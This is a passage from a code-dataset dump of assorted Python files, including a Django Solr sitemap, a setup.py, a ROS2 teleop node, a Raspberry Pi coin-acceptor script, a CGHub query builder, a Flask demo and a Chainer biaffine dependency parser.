groupBy, fieldList, view, freq, prio, page=1, *args, **kwargs):\n self.groupBy = groupBy\n self.fieldList = fieldList\n self.view = view\n self.freq = freq\n self.prio = prio\n self.pagenum = page\n self.results = self.pager (self.groupBy, self.fieldList, self.view)\n #print 'init'\n\n \n\n\n def lastmod(self, obj):\n return datetime.datetime.utcnow()\n\n def get_urls(self, site=None, page=None, protocol=None):\n if site is None:\n if Site._meta.installed:\n try:\n site = Site.objects.get_current()\n except Site.DoesNotExist:\n pass\n if site is None:\n raise ImproperlyConfigured(\"\"\"In order to use Sitemaps you must\\\n either use the sites framework or\\\n pass in a Site or RequestSite\\\n object in your view code.\"\"\")\n ##import pdb; pdb.set_trace()\n urls = []\n self.pagenum = page\n # This is where the `get_urls` deviates from the built-in `Sitemap`\n # class; there, the paginator is called on the next line. Instead,\n # the `items` method only gets enough results to populate a single page.\n\n for item in self.items():\n if self.location(item):\n loc = \"http://%s%s\" % (site.domain, self.location(item))\n priority = self.priority(item)\n url_info = {\n 'location': loc,\n 'lastmod': self.lastmod(item),\n 'changefreq': self.changefreq(item),\n 'priority': str(priority is not None and priority or '')\n }\n \n urls.append(url_info)\n return urls\n \n def items(self):\n\n end = int(self.pagenum) * self.limit\n start = end - self.limit\n return self.results[start:end]\n\n def location(self, obj):\n \"\"\"\n Inputs:\n `obj`: A single object from the collection of objects returned by\n the `items` method.\n\n Returns:\n An absolute path to the object. This is the path component of the\n URI that will be displayed in the sitemap.\n \n \"\"\"\n ##import pdb; pdb.set_trace()\n try:\n activate(obj['lang'])\n return reverse(obj['view'], kwargs=obj['params'])\n except:\n \treturn None\n\n def priority(self, obj):\n \"\"\"\n Inputs:\n `obj`: A single object from the collection of objects returned by\n the `items` method.\n\n Returns:\n An absolute path to the object. This is the path component of the\n URI that will be displayed in the sitemap.\n \n \"\"\"\n return self.prio\n\n def changefreq(self, obj):\n \"\"\"\n Inputs:\n `obj`: A single object from the collection of objects returned by\n the `items` method.\n\n Returns:\n An absolute path to the object. This is the path component of the\n URI that will be displayed in the sitemap.\n \n \"\"\"\n return self.freq\n\n\n def pager (self, groupBy, fieldList, view):\n items, pages = self.requester (groupBy, 0, fieldList, view)\n #print 'pager'\n if pages > 0:\n for page in range(1,pages):\n pageitems, nopages = self.requester (groupBy, page, fieldList, view)\n items.extend (pageitems)\n \n return items\n\n def requester (self, groupBy, page, fieldList, view):\n pageSize = 1000\n #print 'requester', page, groupBy\n start = page * pageSize\n url = Template ('$solr/select?&q=*:*&group=true&group.field=$groupBy&wt=json&rows=$rows&group.limit=1&sort=raceYear%20desc&start=$start&fl=$fieldList')\n if not groupBy: groupBy='countryId'\n if not fieldList: fieldList=['nofieldsplease']\n url = url.substitute (solr=settings.RUNMODO_SOLR_URL, groupBy=groupBy, rows=str(pageSize), start=str(start), fieldList=str(','.join(fieldList)))\n\n #conn = urlopen(settings.RUNMODO_SOLR_URL + '/select?&q=*:*&group=true&group.field='+ groupBy +'&wt=json&rows='+ str(pageSize) +'&group.limit=1&sort=raceYear%20desc&start='+ str(start) +'&fl='+ ','.join(fieldList))\n conn = urlopen(url)\n response = simplejson.load(conn)\n count = response['grouped'][groupBy]['ngroups']\n pages = int(math.ceil(count / pageSize))\n items = []\n for lang in ['en','fr']:\n for doc in response['grouped'][groupBy]['groups']:\n params = doc['doclist']['docs'][0]\n item = {\n 'value': doc['groupValue'],\n 'view': view,\n 'params': params,\n 'lang': lang\n }\n items.append(item)\n\n return items, pages","sub_path":"runapp/sitemaps.py","file_name":"sitemaps.py","file_ext":"py","file_size_in_byte":5990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"378713470","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# @Time : 2019/3/25 13:11\n# @File : setup.py.py\n\nimport os\nimport re\nimport sys\nimport setuptools\n\n\ndef get_reqs_from_files(requirements_files):\n for requirements_file in requirements_files:\n if os.path.exists(requirements_file):\n return open(requirements_file, 'r').read().split('\\n')\n return []\n\n\ndef parse_requirements(requirements_files=['requirements.txt']):\n requirements = []\n for line in get_reqs_from_files(requirements_files):\n # For the requirements list, we need to inject only the portion\n # after egg= so that distutils knows the package it's looking for\n # such as:\n # -e git://github.com/openstack/nova/master#egg=nova\n if re.match(r'\\s*-e\\s+', line):\n requirements.append(re.sub(r'\\s*-e\\s+.*#egg=(.*)$', r'\\1',\n line))\n # such as:\n # http://github.com/openstack/nova/zipball/master#egg=nova\n elif re.match(r'\\s*https?:', line):\n requirements.append(re.sub(r'\\s*https?:.*#egg=(.*)$', r'\\1',\n line))\n # -f lines are for index locations, and don't get used here\n elif re.match(r'\\s*-f\\s+', line):\n pass\n # argparse is part of the standard library starting with 2.7\n # adding it to the requirements list screws distro installs\n elif line == 'argparse' and sys.version_info >= (2, 7):\n pass\n else:\n requirements.append(line)\n\n return requirements\n\n\ndef parse_dependency_links(requirements_files=['requirements.txt']):\n dependency_links = []\n # dependency_links inject alternate locations to find packages listed\n # in requirements\n for line in get_reqs_from_files(requirements_files):\n # skip comments and blank lines\n if re.match(r'(\\s*#)|(\\s*$)', line):\n continue\n # lines with -e or -f need the whole line, minus the flag\n if re.match(r'\\s*-[ef]\\s+', line):\n dependency_links.append(re.sub(r'\\s*-[ef]\\s+', '', line))\n # lines that are only urls can go in unmolested\n elif re.match(r'\\s*https?:', line):\n dependency_links.append(line)\n return dependency_links\n\n\nsetuptools.setup(\n name='karl_pkg',\n version='1.0.0',\n description='karl python package sample',\n author='karl',\n author_email='karl@karl.com',\n\n packages=setuptools.find_packages(exclude=['bin']),\n py_modules=[],\n include_package_data=True,\n install_requires=[\n 'numpy==1.13.3',\n 'pandas==0.20.3',\n ],\n dependency_links=[],\n\n entry_points={\n 'console_scripts': [\n 'karl-print = karl_pkg.cmd.print_cmd:main',\n ]\n },\n)\n","sub_path":"pypi_install_script/karl_pkg-1.0.0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"80205993","text":"import rclpy\nfrom rclpy.node import Node\nimport math\n\nfrom geometry_msgs.msg import Twist\nfrom std_msgs.msg import Float32\nfrom sensor_msgs.msg import Joy\n\nclass TeleopNode(Node):\n\n def __init__(self):\n super().__init__('teleop_publisher')\n self.mob_publisher_ = self.create_publisher(Twist, 'cmd_vel', 10)\n self.drum_publisher_ = self.create_publisher(Float32, 'drum_vel', 10)\n self.arm_publisher_ = self.create_publisher(Float32, 'arm_vel', 10)\n\n self.subscriber_ = self.create_subscription(Joy, 'joy', self.joy_callback,10)\n self.subscriber_\n\n # keep the last msg to only change the velocity if the joy message changes\n self.last_joy_input = Joy()\n\n def joy_callback(self, msg):\n #first check if the joy con input has changes and if not return imediately\n if (msg.axes == self.last_joy_input.axes) & (msg.buttons == self.last_joy_input.buttons):\n return\n\n # joy input changes, convert the joy inputs into movment commands\n\n # first for the mobility base axes[0] is the vertical component of the left stick and axes[1] is the horizontal component of the left stick\n velocity = Twist()\n\n speed = math.sqrt((msg.axes[0])**2 + (msg.axes[1])**2)\n if speed > 1:\n speed = float(1)\n velocity.linear.x = speed\n\n angle = math.atan2(msg.axes[0], msg.axes[1])\n velocity.angular.z = angle\n \n #publish the velocity\n self.mob_publisher_.publish(velocity)\n \n #publish the drum velocity\n drum_vel = Float32()\n drum_vel.data = float(msg.axes[4])\n self.drum_publisher_.publish(drum_vel)\n\n\t#publish the arm velocity\n arm_vel = Float32()\n arm_vel.data = float(msg.buttons[1]) - float(msg.buttons[0])\n self.arm_publisher_.publish(arm_vel)\n\n\n\n\n # Save the msg for comparison latter\n self.last_joy_input = msg\n \n\n\ndef main(args=None):\n rclpy.init(args=args)\n\n teleop_node = TeleopNode()\n\n rclpy.spin(teleop_node)\n\n minimal_publisher.destroy_node()\n rclpy.shutdown()\n","sub_path":"build/teleop_node/build/lib/teleop_node/teleop.py","file_name":"teleop.py","file_ext":"py","file_size_in_byte":2112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"336274641","text":"import time\nimport threading\nimport RPi.GPIO as GPIO\n\n\ndef current_milli_time(): return int(round(time.time() * 1000))\n\n\nEND_COIN_DELTA = 1500\n\nPULSE_PIN = 3\nCOUNTER_PIN = 2\n\n\nclass MuntstukAcceptor():\n def __init__(self):\n self.GPIO_setup()\n self.pulse_counter = 0\n self.last_pulse_time = 0\n self.has_pulsed = False\n self.start()\n\n def GPIO_setup(self):\n GPIO.setwarnings(False)\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(PULSE_PIN, GPIO.IN)\n GPIO.setup(COUNTER_PIN, GPIO.IN)\n\n def incr_pulse(self, pin):\n self.pulse_counter += 1\n print(\"Aantal pulses: \" + str(self.pulse_counter))\n self.last_pulse_time = current_milli_time()\n self.has_pulsed = True\n\n def check_end_pulse(self, pin):\n if current_milli_time() > self.last_pulse_time + END_COIN_DELTA and self.has_pulsed:\n if self.pulse_counter <= 5:\n print(\"0.50 euro\")\n elif self.pulse_counter <= 10:\n print(\"1 euro\")\n elif self.pulse_counter <= 20:\n print(\"2 euro\")\n else:\n print(\"wrong coin\")\n self.pulse_counter = 0\n self.has_pulsed = False\n\n def start(self):\n #GPIO.add_event_detect(PULSE_PIN, GPIO.FALLING, callback=self.incr_pulse, bouncetime=1)\n while True:\n # if current_milli_time() > self.last_pulse_time + END_COIN_DELTA and self.has_pulsed:\n # if self.pulse_counter <= 5:\n # print(\"0.50 euro\")\n # elif self.pulse_counter <= 10:\n # print(\"1 euro\")\n # elif self.pulse_counter <= 20:\n # print(\"2 euro\")\n # else:\n # print(\"wrong coin\")\n # self.pulse_counter = 0\n # self.has_pulsed = False\n GPIO.wait_for_edge(PULSE_PIN, GPIO.FALLING, bouncetime=1)\n print(\"fell\")\n self.incr_pulse(PULSE_PIN)\n GPIO.wait_for_edge(PULSE_PIN, GPIO.RISING, bouncetime=1)\n print(\"rose\")\n #\n # vorige_status = 0\n # while True:\n # status = GPIO.input(PULSE_PIN)\n # print(status)\n # if self.has_pulsed:\n # if current_milli_time() > self.last_pulse_time + END_COIN_DELTA:\n # if self.pulse_counter <= 5:\n # print(\"0.50 euro\")\n # elif self.pulse_counter <= 10:\n # print(\"1 euro\")\n # elif self.pulse_counter <= 20:\n # print(\"2 euro\")\n # else:\n # print(\"wrong coin\")\n # self.pulse_counter = 0\n # self.has_pulsed = False\n # if vorige_status == 1 and status == 0:\n # self.pulse_counter += 1\n # print(\"Aantal pulses: \" + str(self.pulse_counter))\n # self.last_pulse_time = current_milli_time()\n # self.has_pulsed = True\n # vorige_status = 0\n # elif vorige_status == 0 and status == 1:\n # vorige_status == 1\n\n\nGPIO.cleanup()\n\n","sub_path":"Code/Backend/helpers/munstuktest.py","file_name":"munstuktest.py","file_ext":"py","file_size_in_byte":3219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"352057191","text":"#!/usr/bin/env python\n# coding: utf-8\n# Copyright (c) Qotto, 2019\n\nfrom datetime import datetime, timezone\n\nfrom typing import Dict, Any\n\nfrom tonga.models.records.event import BaseEvent\n\n__all__ = [\n 'CoffeeFinished'\n]\n\n\nclass CoffeeFinished(BaseEvent):\n uuid: str\n served_to: str\n coffee_time: int\n\n def __init__(self, uuid: str, coffee_time: int, coffee_for: str, **kwargs) -> None:\n super().__init__(**kwargs)\n self.uuid = uuid\n self.coffee_time = coffee_time\n self.coffee_for = coffee_for\n\n def to_dict(self) -> Dict[str, Any]:\n r_dict = self.base_dict()\n r_dict['uuid'] = self.uuid\n r_dict['coffee_for'] = self.coffee_for\n r_dict['coffee_time'] = self.coffee_time\n return r_dict\n\n @classmethod\n def from_dict(cls, dict_data: Dict[str, Any]):\n return cls(schema_version=dict_data['schema_version'],\n record_id=dict_data['record_id'],\n partition_key=dict_data['partition_key'],\n date=datetime.fromtimestamp(dict_data['timestamp'] / 1000, timezone.utc),\n correlation_id=dict_data['correlation_id'],\n context=dict_data['context'],\n uuid=dict_data['uuid'],\n coffee_for=dict_data['coffee_for'],\n coffee_time=dict_data['coffee_time'])\n\n @classmethod\n def event_name(cls) -> str:\n return 'tonga.bartender.event.CoffeeFinished'\n","sub_path":"examples/coffee_bar/waiter/models/events/coffee_finished.py","file_name":"coffee_finished.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"174710571","text":"#!/usr/bin/env python2.7\n\"\"\"\nCGquery handler\n\ngiven arguments, creates a pickled dictionary mapping TCGA analysis IDs to full cghub bam slicer\nquery strings. These strings are used in a cghub bam slicer query to extract regions from the bam\nthey represent.\n\"\"\"\n\nimport argparse\nimport urllib2\nimport itertools\nimport xml.etree.cElementTree as ET\nimport cPickle as pickle\n\n# this hard-coded list stores which assemblies use '1' instead of 'chr1'\n# because people suck\nnon_chr_names = ['GRCh37-lite', 'GRCh37']\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--genomes\", \"-g\", nargs=\"+\", required=True,\n help=\"Genomes to send to cgquery.\")\n parser.add_argument(\"--tissue_types\", \"-u\", nargs=\"+\", required=True,\n help=\"Tissue types to look at.\")\n parser.add_argument(\"--size\", nargs=2, default=[\"120000000000\",\"*\"],\n help=\"two integer values representing # of bytes we want to look at. Second value can be *\")\n parser.add_argument(\"--study\", default=\"phs000178\",\n help=\"Study to look at. default=phs000178.\")\n parser.add_argument(\"--library_strategy\", default=\"WGS\",\n help=\"library type. default=WGS\")\n parser.add_argument(\"--target_range\", \"-t\", nargs=\"+\", default=[\"chr1:120392936-120744537\",\n \"chr1:145117638-145295356\",\n \"chr11:93677347-93678520\"],\n help=\"target range(s) of assembly. include the word chr.\")\n parser.add_argument(\"--out\", \"-o\", default=\"data/queries.pickle\", type=argparse.FileType(\"wb\"),\n help=\"Location to write out the pickled queries to. Default = queries/queries.pickle\")\n parser.add_argument(\"--debug_cutoff\", type=int)\n return parser.parse_args()\n\n\ndef search_metadata(genomes, tissue_types, size, study, library_strategy):\n \"\"\"\n given arguments to program, query cghub for all xmls.\n returns a list of xmls representing each combination of queries.\n \"\"\"\n size = '[' + \"%20TO%20\".join(size) + ']'\n xml_list = []\n base_path = \"https://cghub.ucsc.edu/cghub/metadata/analysisDetail?\"\n for genome, tissue in itertools.product(genomes, tissue_types):\n search = [\"=\".join([x, y]) for x, y in zip([\"study\", \"sample_type\", \"library_strategy\",\n \"refassem_short_name\", \"filesize\"], [study, tissue, library_strategy, genome, size])]\n url = base_path + \"&\".join(search)\n xml_list.append(ET.parse(urllib2.urlopen(url)).getroot())\n # return a flat list of xml elements\n return [item for sublist in xml_list for item in sublist]\n\n\ndef parse_metadata_xml(xml_list):\n \"\"\"\n Parses a metadata xml retrieved from cgquery.\n \"\"\"\n analysis_dict = {}\n for item in xml_list:\n if item.find('analysis_id') is not None and item.find('state').text != 'suppressed':\n analysis = item.find('analysis_id').text\n refassem_short_name = item.find('refassem_short_name').text\n analysis_dict[analysis] = refassem_short_name\n return analysis_dict\n\n\ndef build_bamslicer_query(analysis, refassem_short_name, ranges):\n \"\"\"\n Builds a query string for the CGhub bam slicer.\n \"\"\"\n if refassem_short_name in non_chr_names:\n ranges = [x.replace(\"chr\",\"\") for x in ranges]\n formatted_ranges = \"\".join([\"&range=\", \"&range=\".join(ranges)])\n base_path = \"https://slicer.cghub.ucsc.edu/analyses/{}/slices?ref={}&format=bam\".format(analysis,\n refassem_short_name)\n query_string = \"\".join([base_path, formatted_ranges])\n return query_string\n\n\ndef main():\n args = parse_args()\n xml_list = search_metadata(args.genomes, args.tissue_types, args.size, args.study, args.library_strategy)\n analysis_dict = parse_metadata_xml(xml_list)\n\n query_dict = {}\n for analysis, refassem_short_name in analysis_dict.iteritems():\n query_string = build_bamslicer_query(analysis, refassem_short_name, args.target_range)\n query_dict[analysis] = query_string\n\n if args.debug_cutoff is None:\n pickle.dump(query_dict, args.out)\n print (\"Dumped {} records for analysis.\".format(len(query_dict)))\n else:\n t = dict(query_dict.items()[:args.debug_cutoff])\n pickle.dump(t, args.out)\n print (\"Dumped {} records for analysis.\".format(len(t)))\n\n\nif __name__ == '__main__':\n main()","sub_path":"src/cgqueryHandler.py","file_name":"cgqueryHandler.py","file_ext":"py","file_size_in_byte":4513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"131747954","text":"'''\n107. Binary Tree Level Order Traversal II\nEasy\n\nGiven a binary tree, return the bottom-up level order traversal of its nodes' values. (ie, from left to right, level by level from leaf to root).\nFor example:\nGiven binary tree [3,9,20,null,null,15,7],\n 3\n / \\\n 9 20\n / \\\n 15 7\n\nreturn its bottom-up level order traversal as:\n[\n [15,7],\n [9,20],\n [3]\n]\n'''\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\nclass Solution:\n def levelOrderBottom(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[List[int]]\n \"\"\"\n result = []\n if root is None:\n return result\n\n from collections import deque\n queue = deque()\n queue.append(root)\n\n while len(queue) > 0:\n previousLevelCount = len(queue)\n current = []\n for i in range(previousLevelCount):\n ele = queue.popleft()\n current.append(ele.val)\n if ele.left:\n queue.append(ele.left)\n if ele.right:\n queue.append(ele.right)\n result.append(current)\n\n return result[::-1]\n","sub_path":"tree/binary_tree_level_order_traversal_ii.py","file_name":"binary_tree_level_order_traversal_ii.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"67267574","text":"from oo_step_by_step.step1.person import Person\n\n\nclass Teacher(Person):\n\n def __init__(self, name, age, klass) -> None:\n super().__init__(name, age)\n self.klass = klass\n\n def introduce(self):\n result = super().introduce() + \" I am a Teacher.\"\n if self.klass != None:\n result += \" I teach {self.klass}.\".format(self=self)\n else:\n result += \" I teach No Class.\"\n return result\n\n","sub_path":"oo_step_by_step/step2/teacher.py","file_name":"teacher.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"260877494","text":"# Goofy Goobers: Julia Nelson, Oscar Wang, Owen Yaggy\n# SoftDev\n# K10: Putting Little Pieces Together\n# 2021-10-05\n\nfrom flask import Flask\nimport random\nimport csv\napp = Flask(__name__) #create instance of class Flask\n\ndef openCSV(fname):\n # creates an empty dictionary and sets the temp_total and total to 0\n dict = {}\n temp_total = 0\n total = 0\n with open(fname) as f:\n # ensures that the column headers are not included in the dictionary \n f.readline()\n reader = csv.reader(f, delimiter=',')\n for row in reader:\n # separately saves the total of the probabilities for each occupation\n if 'Total' in row:\n total = float(row[1])\n else:\n # populates dictionary 'dict' with (key: value) pairs that represent\n # occupations and their probabilities\n dict[row[0]] = float(row[1])\n # keeps track of consecutive sum of the values\n temp_total += float(row[1])\n # if a total is not given, sets it to the sum of the value\n if total == 0:\n total = temp_total\n return dict, total\n\n# picks an occupation based on the weighted percentages\ndef picker():\n jobDict, total = openCSV('occupations.csv')\n # we multiply the total by 10 for random.randint() to produce an int to \n # simulate randomly selecting an occupation\n total = total * 10\n # stores a list of occupations and their corresponding probabilities in \n # two separate lists\n nums = list(jobDict.values())\n occ = list(jobDict.keys())\n conDict = {}\n sum = 0\n # populates conDict such that each (key: value) pair represents the occupation\n # and 10 times the sum of the probabilities preceding that occupation\n for i in range(len(nums)):\n nums[i] *= 10.0\n sum += nums[i]\n nums[i] = sum\n for i in range(len(occ)):\n conDict[occ[i]] = nums[i]\n\n # picks a random int from 0 inclusive to the total exclusive so that the number of\n # integers picked equals the possibility for probabilities\n n = random.randint(0, total-1)\n # returns the occupation if its probability is within range of the consecutive sum\n for i in conDict:\n if (n < conDict[i]):\n return i\n\n# runs n trials to determine if the probability of the resulting occupations matches \n# those listed in the .csv file\ndef test_probs(n):\n testResults, total = openCSV('occupations.csv')\n for i in testResults:\n testResults[i] = 0\n for i in range(n):\n testResults[picker()] += 1\n for i in testResults:\n testResults[i] = [testResults[i], round(testResults[i] / n * 10000) / 100]\n print(testResults)\n\n#returns an HTML list of the occupations\ndef getList():\n testResults, total = openCSV('occupations.csv')\n HTMLList = '''\n
      \n '''\n occupations = testResults.keys()\n for i in occupations:\n HTMLList += f\"
    • {i}
    • \\n\"\n HTMLList += \"
    \"\n return HTMLList\n\n\n@app.route(\"/\") #assign fxn to route\ndef display(): #code to display the HTML on the webpage\n output = f'''\n \n

    Goofy Goobers: Julia Nelson, Oscar Wang, Owen Yaggy

    \n

    SoftDev

    \n

    K10: Putting Little Pieces Together

    \n

    2021-10-05

    \n \n \n Your randomized output: {picker()} {getList()}\n \n '''\n return output\n\napp.debug = True\napp.run()","sub_path":"10_flask/occupy_flask_st/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"220745687","text":"# normal function\ndef func(names, reverse_str = False):\n \n if reverse_str:\n names = [name[::-1] for name in names]\n names = [name.capitalize() for name in names]\n return names\n\n# kwargs function\ndef func_kwargs(names, **kwargs):\n\n if kwargs.get('reverse_str') == True:\n names = [name[::-1] for name in names]\n names = [name.capitalize() for name in names]\n return names\n\n\n\n\nnames = ['imad', 'alex'] \n\nprint(func(names))\nprint(func(names, reverse_str = True))\n\nprint(func_kwargs(names))\nprint(func_kwargs(names, reverse_str = True))","sub_path":"detailed-exercises/77-exercise.py","file_name":"77-exercise.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"354014663","text":"import chainer\nimport chainer.functions as F\nimport chainer_nn.functions as nn_F\nimport chainer_nn.links as nn_L\nimport numpy as np\n\nfrom common import mst\n\n\n\"\"\"\nNOTE: Weight Initialization comparison\n - A. This Implementation\n - URL: https://github.com/chantera/biaffineparser\n - Framework: Chainer (v5.2)\n - Initialization:\n - Embeddings (word): zero + pretrained (normalized with std)\n - Embeddings (postag): random_normal\n - BiLSTMs: `chainer.links.NStepBiLSTM` default\n (W: N(0,sqrt(1/w_in)), b: zero)\n - MLPs: W: N(0,sqrt(1/w_out)), b: zero\n - Biaffines: zero\n - B. Original\n - URL: https://github.com/tdozat/Parser-v1\n \n - Framework: TensorFlow ( (v0.5.0)\n - Path: scripts/parsing/\n - See also: https://github.com/jcyk/Dynet-Biaffine-dependency-parser\n - Framework: MXNet (>=v1.3.0)\n - Initialization:\n - Embeddings (word): zero + pretrained (normalized with std)\n - Embeddings (postag): random_normal\n - BiLSTMs: W: orthonormal_initializer, b: zero (forget gate bias: -1.0)\n - MLPs: W: orthonormal_initializer, b: zero\n - Biaffines: zero\n - D. StanfordNLP\n - URL: https://github.com/stanfordnlp/stanfordnlp\n (v0.1.0)\n - Path: stanfordnlp/models/depparse/\n - Note: This is the implementation of the following paper:\n [http://aclweb.org/anthology/K18-2016]\n - Framework: PyTorch (v1.0)\n - Initialization: *They also used additional embeddings.\n - Embeddings (word): `torch.nn.Embeddings` default (N(0,1)) + pretrained\n - Embeddings (postag): `torch.nn.Embeddings` default\n - BiLSTMs: `torch.nn.LSTM` default\n (uniform(-s,s) for both W and b where s=sqrt(1/hidden_size))\n - MLPs: `torch.nn.Linear` default\n (uniform(-s,s) for both W and b where s=sqrt(1/fan_in))\n - Biaffines: zero\n - E. NeuroNLP2\n - URL: https://github.com/XuezheMax/NeuroNLP2\n \n - Note: This is the implementation of the following paper:\n [http://www.aclweb.org/anthology/P18-1130]\n - Framework: PyTorch (v0.3)\n - Initialization: *They also used character embeddings.\n - Embeddings (word): pretrained only (no use of trainable embeddings)\n - Embeddings (postag): uniform(-s,s) where s=sqrt(3/dim)\n - BiLSTMs: W: uniform(-s,s) for where s=sqrt(1/hidden_size), b: zero\n - MLPs: `torch.nn.Linear` default\n - Biffines: U,W1,W2: xavier_uniform, b: zero\n - F. AllenNLP\n - URL: https://github.com/allenai/allennlp\n (v0.8.1)\n - Path: allennlp/models/biaffine_dependency_parser.py\n - Framework: PyTorch (v1.0 or v0.4.1)\n - Initialization: The configurations is not available.\n\"\"\"\n\n\nclass BiaffineParser(chainer.Chain):\n\n def __init__(self, n_rels, encoder,\n arc_mlp_units=500, rel_mlp_units=100,\n arc_mlp_dropout=0.0, rel_mlp_dropout=0.0):\n super().__init__()\n if isinstance(arc_mlp_units, int):\n arc_mlp_units = [arc_mlp_units]\n if isinstance(rel_mlp_units, int):\n rel_mlp_units = [rel_mlp_units]\n with self.init_scope():\n def mlp_activate(x):\n # return F.maximum(0.1 * x, x) # original\n return F.leaky_relu(x, slope=0.1)\n self.encoder = encoder\n h_dim = self.encoder.out_size\n init_mlp = chainer.initializers.HeNormal(\n scale=np.sqrt(0.5), fan_option='fan_out')\n self.mlp_arc_head = nn_L.MLP([nn_L.MLP.Layer(\n arc_mlp_units[i - 1] if i > 0 else h_dim, u, mlp_activate,\n arc_mlp_dropout, initialW=init_mlp,\n initial_bias=0.) for i, u in enumerate(arc_mlp_units)])\n self.mlp_arc_dep = self.mlp_arc_head.copy(mode='init')\n self.mlp_rel_head = nn_L.MLP([nn_L.MLP.Layer(\n rel_mlp_units[i - 1] if i > 0 else h_dim, u, mlp_activate,\n rel_mlp_dropout, initialW=init_mlp,\n initial_bias=0.) for i, u in enumerate(rel_mlp_units)])\n self.mlp_rel_dep = self.mlp_rel_head.copy(mode='init')\n init_biaf = chainer.initializers.Zero()\n self.biaf_arc = nn_L.Biaffine(\n arc_mlp_units[-1], arc_mlp_units[-1], 1,\n nobias=(False, True, True),\n initialW=init_biaf, initial_bias=0.)\n self.biaf_rel = nn_L.Biaffine(\n rel_mlp_units[-1], rel_mlp_units[-1], n_rels,\n nobias=(False, False, False),\n initialW=init_biaf, initial_bias=0.)\n self._results = {}\n\n def forward(self, words, pretrained_words, postags, *args):\n self._results.clear()\n # [n; B], [n; B], [n; B] => (B, n_max, d)\n hs = self.encode(words, pretrained_words, postags)\n hs_arc_h = self.mlp_arc_head(hs, n_batch_axes=2)\n hs_arc_d = self.mlp_arc_dep(hs, n_batch_axes=2)\n hs_rel_h = self.mlp_rel_head(hs, n_batch_axes=2)\n hs_rel_d = self.mlp_rel_dep(hs, n_batch_axes=2)\n logits_arc = F.squeeze(self.biaf_arc(hs_arc_d, hs_arc_h), axis=3)\n self._mask = self.xp.asarray(_mask_arc(\n logits_arc, self._lengths, mask_loop=not chainer.config.train))\n self._logits_arc = logits_arc + (1. - self._mask) * -1e8\n self._logits_rel = self.biaf_rel(hs_rel_d, hs_rel_h)\n # => (B, n_max, n_max), (B, n_max, n_max, n_rels)\n return self._logits_arc, self._logits_rel\n\n def encode(self, *args):\n self._hs, self._lengths = self.encoder(*args[:3])\n return self._hs\n\n def parse(self, words, pretrained_words, postags, use_cache=True):\n with chainer.no_backprop_mode():\n if len(self._results) == 0 or not use_cache:\n self.forward(words, pretrained_words, postags)\n arcs = _parse_by_graph(self._logits_arc, self._lengths, self._mask)\n rels = _decode_rels(self._logits_rel, arcs, self._lengths)\n arcs = [arcs_i[:n] for arcs_i, n in zip(arcs, self._lengths)]\n rels = [rels_i[:n] for rels_i, n in zip(rels, self._lengths)]\n parsed = list(zip(arcs, rels))\n return parsed\n\n def compute_loss(self, y, t):\n self._results = _compute_metrics(y, t, self._lengths, False)\n return self._results['arc_loss'] + self._results['rel_loss']\n\n def compute_accuracy(self, y, t, use_cache=True):\n arc_accuracy = self._results.get('arc_accuracy', None)\n rel_accuracy = self._results.get('rel_accuracy', None)\n if not use_cache or (arc_accuracy is None and rel_accuracy is None):\n results = _compute_metrics(y, t, self._lengths, False)\n arc_accuracy = results.get('arc_accuracy', None)\n rel_accuracy = results.get('rel_accuracy', None)\n self._results.update({\n 'arc_accuracy': arc_accuracy,\n 'rel_accuracy': rel_accuracy,\n })\n return arc_accuracy, rel_accuracy\n\n\ndef _mask_arc(logits_arc, lengths, mask_loop=True):\n mask = np.zeros(logits_arc.shape, dtype=np.float32)\n for i, length in enumerate(lengths):\n mask[i, :length, :length] = 1.\n if mask_loop:\n mask *= (1. - np.eye(logits_arc.shape[2], dtype=np.float32))\n return mask\n\n\ndef _parse_by_graph(logits_arc, lengths, mask=None):\n probs = F.softmax(logits_arc, axis=2).data\n if mask is not None:\n probs *= mask\n probs = chainer.cuda.to_cpu(probs)\n trees = np.full((len(lengths), max(lengths)), -1, dtype=np.int32)\n for i, (probs_i, length) in enumerate(zip(probs, lengths)):\n trees[i, 1:length] = mst.mst(probs_i[:length, :length])[0][1:]\n return trees\n\n\ndef _decode_rels(logits_rel, trees, lengths, root=0):\n steps = np.arange(trees.shape[1])\n logits_rel = [logits_rel[i, steps, arcs] for i, arcs in enumerate(trees)]\n logits_rel = F.stack(logits_rel, axis=0).data\n logits_rel[:, :, root] = -1e8\n rels = logits_rel.argmax(axis=2)\n rels = chainer.cuda.to_cpu(rels)\n for rels_i, arcs_i in zip(rels, trees):\n rels_i[:] = np.where(arcs_i == 0, root, rels_i)\n rels[:, 0] = -1\n return rels\n\n\ndef _compute_metrics(parsed, gold_batch, lengths,\n use_predicted_arcs_for_rels=True):\n logits_arc, logits_rel, *_ = parsed\n true_arcs, true_rels, *_ = zip(*gold_batch)\n\n # exclude attachment from the root\n logits_arc, logits_rel = logits_arc[:, 1:], logits_rel[:, 1:]\n true_arcs = F.pad_sequence(true_arcs, padding=-1)[:, 1:]\n true_rels = F.pad_sequence(true_rels, padding=-1)[:, 1:]\n lengths = np.array(lengths, 